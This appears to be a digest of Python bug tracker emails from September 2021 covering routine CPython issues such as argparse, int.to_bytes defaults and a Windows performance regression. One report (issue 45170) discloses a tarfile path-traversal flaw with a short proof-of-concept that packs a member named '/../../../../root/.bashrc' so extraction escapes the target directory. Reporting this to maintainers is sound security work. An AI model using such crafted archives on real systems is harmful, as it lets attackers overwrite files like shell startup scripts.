From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 20:27:49 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631305669.12.0.857380025415.issue9811@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Is there anything else you wanted to do here, Irit?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:29:03 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 10 Sep 2021 20:29:03 +0000
Subject: [issue44359] test_ftplib fails as "env changes" if a socket operation
 times out in a thread: TimeoutError is not catched
In-Reply-To: <1623225511.63.0.739788412824.issue44359@roundup.psfhosted.org>
Message-ID: <1631305743.62.0.0752849789924.issue44359@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

This failure in required Ubuntu test is blocking me from merging a totally unrelated change in IDLE.  PR-28228.  Please disable the phony failing test.

----------
nosy: +lukasz.langa, terry.reedy

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:38:46 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 20:38:46 +0000
Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS
In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za>
Message-ID: <1631306326.1.0.997199046971.issue34602@roundup.psfhosted.org>


Change by ?ukasz Langa :


----------
pull_requests: +26698
pull_request: https://github.com/python/cpython/pull/28280

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:47:46 2021
From: report at bugs.python.org (Giovanni Wijaya)
Date: Fri, 10 Sep 2021 20:47:46 +0000
Subject: [issue44359] test_ftplib fails as "env changes" if a socket operation
 times out in a thread: TimeoutError is not catched
In-Reply-To: <1623225511.63.0.739788412824.issue44359@roundup.psfhosted.org>
Message-ID: <1631306866.09.0.133931479409.issue44359@roundup.psfhosted.org>


Change by Giovanni Wijaya :


----------
nosy: +giovanniwijaya
nosy_count: 7.0 -> 8.0
pull_requests: +26699
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28228

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:58:46 2021
From: report at bugs.python.org (Brandt Bucher)
Date: Fri, 10 Sep 2021 20:58:46 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631307526.68.0.599706668693.issue45152@roundup.psfhosted.org>


Change by Brandt Bucher :


----------
nosy: +brandtbucher

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:59:10 2021
From: report at bugs.python.org (Brandt Bucher)
Date: Fri, 10 Sep 2021 20:59:10 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631307550.32.0.125163397328.issue45155@roundup.psfhosted.org>


Change by Brandt Bucher :


----------
nosy: +brandtbucher

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 17:11:44 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 21:11:44 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631308304.73.0.962765751427.issue9811@roundup.psfhosted.org>


Irit Katriel  added the comment:

No, I think we're good. Thanks.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 18:26:42 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 22:26:42 +0000
Subject: [issue22147] PosixPath() constructor should not accept strings with
 embedded NUL bytes
In-Reply-To: <1407267848.45.0.809324931091.issue22147@psf.upfronthosting.co.za>
Message-ID: <1631312802.03.0.791668550029.issue22147@roundup.psfhosted.org>


Irit Katriel  added the comment:

If we do this then there are tests tha break, for instance test_is_symlink has this:

self.assertIs((P / 'fileA\x00').is_file(), False)

----------
nosy: +iritkatriel
versions: +Python 3.11 -Python 3.4, Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 18:27:50 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 10 Sep 2021 22:27:50 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org>
Message-ID: <1631312870.03.0.510630741568.issue45105@roundup.psfhosted.org>


Change by Terry J. Reedy :


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 18:33:22 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 10 Sep 2021 22:33:22 +0000
Subject: [issue45109] pipes seems designed for bytes but is str-only
In-Reply-To: <1630868099.65.0.267189111199.issue45109@roundup.psfhosted.org>
Message-ID: <1631313202.93.0.59945829089.issue45109@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

guido, you seem to be the only active contributor to the pipes module.  What do you think?

----------
nosy: +gvanrossum, terry.reedy

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 18:59:13 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 22:59:13 +0000
Subject: [issue18376] show the effective count of process when running the
 testsuite
In-Reply-To: <1373107337.89.0.95411987573.issue18376@psf.upfronthosting.co.za>
Message-ID: <1631314753.43.0.66618306703.issue18376@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +easy -patch
versions: +Python 3.11 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:03:41 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 23:03:41 +0000
Subject: [issue23774] Test failures when unable to write to install location
In-Reply-To: <1427265696.1.0.371099529167.issue23774@psf.upfronthosting.co.za>
Message-ID: <1631315021.42.0.888191920505.issue23774@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> allow the testsuite to run in the installed location

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:18:27 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 23:18:27 +0000
Subject: [issue17763] test_pydoc fails with the installed testsuite
In-Reply-To: <1366125816.55.0.847870350484.issue17763@psf.upfronthosting.co.za>
Message-ID: <1631315907.24.0.419323923214.issue17763@roundup.psfhosted.org>


Irit Katriel  added the comment:

Should we close this as third party or is there something we can do about it?

----------
nosy: +iritkatriel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:26:41 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 10 Sep 2021 23:26:41 +0000
Subject: [issue45109] pipes seems designed for bytes but is str-only
In-Reply-To: <1630868099.65.0.267189111199.issue45109@roundup.psfhosted.org>
Message-ID: <1631316401.15.0.996076334558.issue45109@roundup.psfhosted.org>


Guido van Rossum  added the comment:

I think that module is probably a relic from the Python 1 days?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:31:01 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 23:31:01 +0000
Subject: [issue45168] dis output for co_consts is confusing
Message-ID: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>


New submission from Irit Katriel :

When dis doesn't have co_consts, it just prints the index of the const in () instead. This is both unnecessary and confusing because (1) we already have the index and (2) there is no indication that this is the index and not the value. 

Can we change the output so that it doesn't print the value if it's missing?

----------
messages: 401620
nosy: gvanrossum, iritkatriel
priority: normal
severity: normal
status: open
title: dis output for co_consts is confusing

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:31:26 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 23:31:26 +0000
Subject: [issue45168] dis output for co_consts is confusing
In-Reply-To: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>
Message-ID: <1631316686.58.0.310456241489.issue45168@roundup.psfhosted.org>


Irit Katriel  added the comment:

See example here:
https://github.com/iritkatriel/cpython/pull/30/files#r706517665

----------
components: +Library (Lib)
type:  -> behavior
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 19:31:40 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 23:31:40 +0000
Subject: [issue45168] dis output for LOAD_CONST  is confusing
In-Reply-To: <1631316661.34.0.984607812995.issue45168@roundup.psfhosted.org>
Message-ID: <1631316700.91.0.491701262504.issue45168@roundup.psfhosted.org>


Change by Irit Katriel :


----------
title: dis output for co_consts is confusing -> dis output for LOAD_CONST  is confusing

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 20:49:58 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 11 Sep 2021 00:49:58 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631321398.55.0.380012644891.issue45155@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

[Mark Dickinson]
> I'd also really like to avoid a system-dependent default.

[Petr Viktorin]
> Exactly, a platform-dependent default is a bad idea.

I concur with Petr and Mark. 

The principal use case for int.to_bytes is to convert an integer of arbitrary size to a binary format for storage or transmission.  The corresponding file load or received data needs to symmetrically restore the int.  The default (whether little or big) needs to be the same on both sides to prevent bugs.  Otherwise, for portable code, we would have to recommend that people not use the default because the output isn't deterministic across systems.

By way of comparison, we've had long standing issues like this in other parts of the language.  For example, this gives inconsistent encodings across systems:

    with open(filename) as f:
        f.write(text)

Not long ago, Inada had to sweep through and add encoding="utf-8" to fix all the bugs caused by the default platform dependent encoding.   Arguably, most code that has ever been written without an explicit encoding is wrong if the files were intended to be shared outside the local file system.

So if Veky wants the default to be "big", that's fine by me.  The important thing is that a *consistent* default be used (not platform dependent).  I won't argue for a "sensible default" because apparently Veky has different sensibilities.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:15:36 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:15:36 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326536.23.0.468249756216.issue45116@roundup.psfhosted.org>


neonene  added the comment:

Thanks for all suggestions. I focused on my bisected commit and the previous.

I run pyperformance with 4 functions never inlined in the sections below.

   _Py_DECREF()
   _Py_XDECREF()
   _Py_IS_TYPE()
   _Py_atomic_load_32bit_impl()

are

   (1) never inlined in _PyEval_EvalFrameDefault().
   (2) never inlined in the other funcitons.
   (3) never inlined in all functions.


slow downs                     [4-funcs never inlined section]
--------------------------------------------------------------
Windows x64 PGO (44job)            (*)    (1)    (2)    (3)
rebuild                            none   eval  others  all
--------------------------------------------------------------
b98eba5 (4 funcs inlined in eval)  1.00   1.05   1.09   1.14
PR25244 (    not inlined in eval)  1.06   1.07   1.18   1.17

pyperf compare_to upper lower:
   (*) 1.06x slower  (slower 45, faster  4, not not significant  9)
   (1) 1.02x slower  (slower 33, faster 13, not not significant 12)
   (2) 1.08x slower  (slower 48, faster  6, not not significant  4)
   (3) 1.03x slower  (slower 39, faster  6, not not significant 13)


--------------------------------------------------------------
Windows x86 PGO (44job)            (*)    (1)    (2)    (3)
rebuild                            none   eval  others  all
--------------------------------------------------------------
b98eba5 (4 funcs inlined in eval)  1.00   1.03   1.06   1.15
PR25244 (    not inlined in eval)  1.13   1.13   1.22   1.24

pyperf compare_to upper lower:
   (*) 1.13x slower  (slower 54, faster  2, not not significant  2)
   (1) 1.10x slower  (slower 47, faster  3, not not significant  8)
   (2) 1.14x slower  (slower 54, faster  1, not not significant  3)
   (3) 1.08x slower  (slower 43, faster  3, not not significant 12)


In both x64 and x86, it looks column (2) and (*) has similar gaps.
So, I would like to simply focus on the eval-loop.

I built PGO with "/d2inlinestats" and "/d2inlinelogfull:_PyEval_EvalFrameDefault" according to the blog.

I posted logs. As for PR25244, the logsize is 3x smaller than the previous and pgo rejects the 4 funcs above. I will look into it later.


Collecting:
> Before the PR, it took 10x~ longer to link than without __forceinline function.

Current build is 10x~ shorter than before to link.
Before the PR, __forceinline had no impact to me.

----------
Added file: https://bugs.python.org/file50271/b98e-no-inline-in-all.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:15:52 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:15:52 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326552.78.0.182238176507.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50272/b98e-no-inline-in-eval.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:16:06 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:16:06 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326566.36.0.020340115192.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50273/b98e-no-inline-in-the-others.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:17:00 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:17:00 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326620.54.0.216715683071.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50274/pyproject_inlinestat.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:17:40 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:17:40 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326660.04.0.117603866062.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50275/x64_28d2.log

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:17:57 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 02:17:57 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631326677.06.0.0981458426813.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50276/x64_b98e.log

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:45:22 2021
From: report at bugs.python.org (Ma Lin)
Date: Sat, 11 Sep 2021 02:45:22 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631328322.99.0.866834945644.issue45116@roundup.psfhosted.org>


Ma Lin  added the comment:

MSVC 2019 has a /Ob3 option:
https://docs.microsoft.com/en-us/cpp/build/reference/ob-inline-function-expansion

>From the experience of another project, I conjecture /Ob3 increase the "global budget" mentioned in the blog.
I used /Ob3 for the 3.10 branch, and there seems to be no significant performance change. If you have time, neonene welcome to verify this.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 22:55:07 2021
From: report at bugs.python.org (2106 Hyunwoo Oh)
Date: Sat, 11 Sep 2021 02:55:07 +0000
Subject: [issue45169] Shallow copy occurs when list multiplication is used to
 create nested lists; can confuse users
Message-ID: <1631328907.83.0.354100007036.issue45169@roundup.psfhosted.org>


New submission from 2106 Hyunwoo Oh :

If you do the following:

lists=[[]]*100
lists[1].append('text')
print(lists[2])

you can see lists[2] contains 'text' even though it was appended to lists[1] in the text. A little more investigation with the id() function can show that the lists are shallowly copied when list multiplication occurs. I think this can confuse users when they try to use list multiplication to create nested lists, as they expected a deep copy to occur.

----------
components: Demos and Tools
messages: 401625
nosy: ohwphil
priority: normal
severity: normal
status: open
title: Shallow copy occurs when list multiplication is used to create nested lists; can confuse users
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 23:00:08 2021
From: report at bugs.python.org (2106 Hyunwoo Oh)
Date: Sat, 11 Sep 2021 03:00:08 +0000
Subject: [issue45169] Shallow copy occurs when list multiplication is used to
 create nested lists; can confuse users
In-Reply-To: <1631328907.83.0.354100007036.issue45169@roundup.psfhosted.org>
Message-ID: <1631329208.74.0.627237797472.issue45169@roundup.psfhosted.org>


Change by 2106 Hyunwoo Oh :


----------
components: +Interpreter Core -Demos and Tools

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 23:07:46 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 11 Sep 2021 03:07:46 +0000
Subject: [issue45169] Shallow copy occurs when list multiplication is used to
 create nested lists; can confuse users
In-Reply-To: <1631328907.83.0.354100007036.issue45169@roundup.psfhosted.org>
Message-ID: <1631329666.83.0.0469254858984.issue45169@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

This is not a bug. No copy is made at all, neither shallow nor deep.

This is described in the documentation for built-in types:

https://docs.python.org/3/library/stdtypes.html#common-sequence-operations

and is similar to the issue in the FAQs:

https://docs.python.org/3/faq/programming.html#id16


I acknowledge that this is sometimes confusing for beginners, but it is just one of those things that programmers have to learn. Sequence multiplication does not copy the items, it replicates references to the same item.

----------
nosy: +steven.daprano
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 23:09:16 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 11 Sep 2021 03:09:16 +0000
Subject: [issue45169] Shallow copy occurs when list multiplication is used to
 create nested lists; can confuse users
In-Reply-To: <1631328907.83.0.354100007036.issue45169@roundup.psfhosted.org>
Message-ID: <1631329756.15.0.906517988584.issue45169@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

Oh, I forgot: this exact issue is also in the FAQs.

https://docs.python.org/3/faq/programming.html#id46

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 23:30:27 2021
From: report at bugs.python.org (neonene)
Date: Sat, 11 Sep 2021 03:30:27 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631331027.38.0.501690303662.issue45116@roundup.psfhosted.org>


neonene  added the comment:

According to:
https://docs.microsoft.com/en-us/cpp/build/profile-guided-optimizations?view=msvc-160

PGO seems to override /Ob3.
Around this issue, I posted benchmark on issue44381.
On python building, /Ob3 works for only non-pgo-supported dlls like,

_ctypes_test
_freeze_importlib
_msi
_testbuffer
_testcapi
_testconsole
_testembed
_testimportmultiple
_testinternalcapi
_testmultiphase
_uuid
liblzma
pylauncher
pyshellext
pywlauncher
sqlite3
venvlauncher
venvwlauncher
winsound

I use this option in _msvccompiler.py for my pyd.
I will try and report when PGO with /Ob3 makes difference in the log.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 01:11:59 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sat, 11 Sep 2021 05:11:59 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631337119.09.0.693201908061.issue44987@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
nosy: +corona10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 01:37:04 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sat, 11 Sep 2021 05:37:04 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631338624.93.0.591164151867.issue44987@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
keywords: +patch
pull_requests: +26700
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28283

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 01:39:07 2021
From: report at bugs.python.org (paul j3)
Date: Sat, 11 Sep 2021 05:39:07 +0000
Subject: [issue41255] Argparse.parse_args exits on unrecognized option with
 exit_on_error=False
In-Reply-To: <1594284033.21.0.100091861021.issue41255@roundup.psfhosted.org>
Message-ID: <1631338747.04.0.134790583973.issue41255@roundup.psfhosted.org>


paul j3  added the comment:

In

https://stackoverflow.com/questions/69108632/unable-to-catch-exception-error-for-argparse

it looked like `exit_on_error` does not work when using subparsers.  On on further thought, I realized that it has to included in the definition of the subparser.  As with other `ArgumentParser` parameters, the subparsers does not inherit from the main parser.  

So it's basically a documentation issue.  The `add_parser` method is described briefly as:

     which takes a command name and any ArgumentParser constructor 
     arguments, and returns an ArgumentParser object that can be 
     modified as usual.

But as my experience shows, its relevance is easily missed, even by an experienced users.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 01:39:59 2021
From: report at bugs.python.org (paul j3)
Date: Sat, 11 Sep 2021 05:39:59 +0000
Subject: [issue41255] Argparse.parse_args exits on unrecognized option with
 exit_on_error=False
In-Reply-To: <1594284033.21.0.100091861021.issue41255@roundup.psfhosted.org>
Message-ID: <1631338799.39.0.548424892211.issue41255@roundup.psfhosted.org>


Change by paul j3 :


----------
Removed message: https://bugs.python.org/msg401554

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 02:22:08 2021
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 11 Sep 2021 06:22:08 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631341328.94.0.893862691574.issue45147@roundup.psfhosted.org>


Change by Roundup Robot :


----------
nosy: +python-dev
nosy_count: 9.0 -> 10.0
pull_requests: +26701
pull_request: https://github.com/python/cpython/pull/28254

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 02:49:29 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 06:49:29 +0000
Subject: [issue44211] Duplicate '.bmp' key in mimetypes.py,
 maps to both 'image/bmp' and 'image/x-ms-bmp'
In-Reply-To: <1621631588.17.0.285799007956.issue44211@roundup.psfhosted.org>
Message-ID: <1631342969.46.0.260548324578.issue44211@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Since this change has a user-visible effect a NEWS entry is required. Just copy it from issue22589.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 03:45:41 2021
From: report at bugs.python.org (daji ma)
Date: Sat, 11 Sep 2021 07:45:41 +0000
Subject: [issue45170] tarfile missing cross-directory checking
Message-ID: <1631346341.79.0.894184434435.issue45170@roundup.psfhosted.org>


New submission from daji ma :

tarfile missing cross-directory checking, like ../ or ..\, this  potentially cause cross-directory decompression.
the exp:
# -*- coding: utf-8 -*-
import tarfile



def extract_tar(file_path, dest_path):
    try:
        with tarfile.open(file_path, 'r') as src_file:
            for info in src_file.getmembers():
                src_file.extract(info.name, dest_path)
        return True
    except (IOError, OSError, tarfile.TarError):
        return False


def make_tar():
    tar_file=tarfile.open('x.tar.gz','w:gz')
    tar_file.add('bashrc', '/../../../../root/.bashrc')
    tar_file.list(verbose=True)
    tar_file.close()


if __name__ == '__main__':
    make_tar()
    extract_tar('x.tar.gz', 'xx')

----------
components: Library (Lib)
messages: 401631
nosy: xiongpanju
priority: normal
severity: normal
status: open
title: tarfile missing cross-directory checking
type: security
versions: Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 03:59:12 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 07:59:12 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631347152.37.0.996918556305.issue35474@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
nosy: +serhiy.storchaka
nosy_count: 1.0 -> 2.0
pull_requests: +26702
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28286

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 04:01:24 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 08:01:24 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631347284.35.0.224392714106.issue35474@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Also, mutating the result of guess_all_extensions() mutated the internal state of the MimeTypes object and affected the following calls of guess_all_extensions().

----------
stage: patch review -> 
versions: +Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 04:46:33 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 08:46:33 +0000
Subject: [issue45163] Haiku build fix
Message-ID: <1631349993.04.0.408583087956.issue45163@roundup.psfhosted.org>


New submission from Serhiy Storchaka :


New changeset 5f5b7d0c654488206ac13e27d9a5dcffbd2cc0af by David CARLIER in branch 'main':
bpo-45163: Haiku build fix. (GH-28269)
https://github.com/python/cpython/commit/5f5b7d0c654488206ac13e27d9a5dcffbd2cc0af


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 04:47:08 2021
From: report at bugs.python.org (fhdrsdg)
Date: Sat, 11 Sep 2021 08:47:08 +0000
Subject: [issue45160] ttk.OptionMenu radiobuttons change variable value twice
In-Reply-To: <1631257980.33.0.506661911605.issue45160@roundup.psfhosted.org>
Message-ID: <1631350028.39.0.691692219323.issue45160@roundup.psfhosted.org>


fhdrsdg  added the comment:

Ah yes, you're right that `command=self._callback` doesn't pass the new value like it should.
Your suggestion does, but throws a "TypeError: 'NoneType' object is not callable" when no command is given when creating the OptionMenu. The current `_setit` implementation uses a `if self.__callback:` check for that.

Should we do something like this?

for val in values:
    menu.add_radiobutton(label=val,
        variable=self._variable)
    if self._callback:
        menu.entryconfigure('last', command=lambda val=val: self._callback(val))


I don't have any experience making pull requests. I might look into it at some point but for now it would be great if you could make it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 04:55:11 2021
From: report at bugs.python.org (Lewis Gaul)
Date: Sat, 11 Sep 2021 08:55:11 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1631350511.75.0.416893846261.issue45110@roundup.psfhosted.org>


Lewis Gaul  added the comment:

Big +1 from me for at least supporting a way to get the more concise output. I've never understood the verbosity of python's argparse where the metavar is repeated.

----------
nosy: +LewisGaul

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 06:40:55 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sat, 11 Sep 2021 10:40:55 +0000
Subject: [issue38942] Possible assertion failures in csv.Dialect()
In-Reply-To: <1575058849.67.0.456727251778.issue38942@roundup.psfhosted.org>
Message-ID: <1631356855.81.0.940594561175.issue38942@roundup.psfhosted.org>


Irit Katriel  added the comment:

The patch is missing a unit test.

----------
nosy: +iritkatriel
stage: patch review -> test needed
versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 06:44:37 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sat, 11 Sep 2021 10:44:37 +0000
Subject: [issue38942] Possible assertion failures in csv.Dialect()
In-Reply-To: <1575058849.67.0.456727251778.issue38942@roundup.psfhosted.org>
Message-ID: <1631357077.07.0.663915340831.issue38942@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> Assertion failure in csv module

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 06:46:47 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sat, 11 Sep 2021 10:46:47 +0000
Subject: [issue37844] PyRun_SimpleFile should provide a version that does not
 need a FILE*
In-Reply-To: <1565720500.55.0.0348058431334.issue37844@roundup.psfhosted.org>
Message-ID: <1631357207.99.0.675306122597.issue37844@roundup.psfhosted.org>


Change by Irit Katriel :


----------
type: crash -> enhancement
versions:  -Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 06:54:03 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sat, 11 Sep 2021 10:54:03 +0000
Subject: [issue43546] "Impossible" KeyError from importlib._bootstrap acquire
 line 110
In-Reply-To: <1616093906.25.0.990565288145.issue43546@roundup.psfhosted.org>
